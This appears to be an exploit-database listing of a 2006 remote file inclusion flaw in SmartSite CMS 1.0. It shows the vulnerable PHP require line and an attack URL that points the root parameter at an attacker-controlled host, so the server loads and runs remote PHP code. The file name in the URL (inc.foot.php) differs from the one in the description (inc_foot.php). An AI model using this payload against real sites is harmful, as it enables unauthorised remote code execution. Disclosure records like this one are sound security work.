header-logo
Suggest Exploit
vendor:
SmartSite CMS
by:
Archit3ct and IR4DEX GROUP
7,5
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: SmartSite CMS
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: Yes
Related CWE: N/A
CPE: a:smartsitecms:smartsite_cms
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

smartsite cms <= 1.0 Remote File Inclusion

A vulnerability exists in SmartSite CMS version 1.0 and earlier, which allows remote attackers to include arbitrary files via a URL in the root parameter to include/inc_foot.php. This can be exploited to execute arbitrary PHP code by including a URL pointing to a PHP script.

Mitigation:

Upgrade to the latest version of SmartSite CMS.
Source

Exploit-DB raw data:

# smartsite cms <= 1.0 Remote File Inclusion
#
# Contact : irc.gigachat.net #ir4dex
# Risk : High
# Class : Remote
# Script : smartsite cms
# Version : not specified
# URL: http://www.smartsitecms.net/
---------------------------------------------------------------------

Vulnerable code :

require($root . "include/inc_foot.php");

---------------------------------------------------------------------

http://www.site.com/[smartsitecmspath]/include/inc.foot.php?root=http://[attacker]

by Archit3ct and IR4DEX GROUP

Greetz: Darkfire

# milw0rm.com [2006-06-20]

Navigation

Suggest Exploit

Services By CQR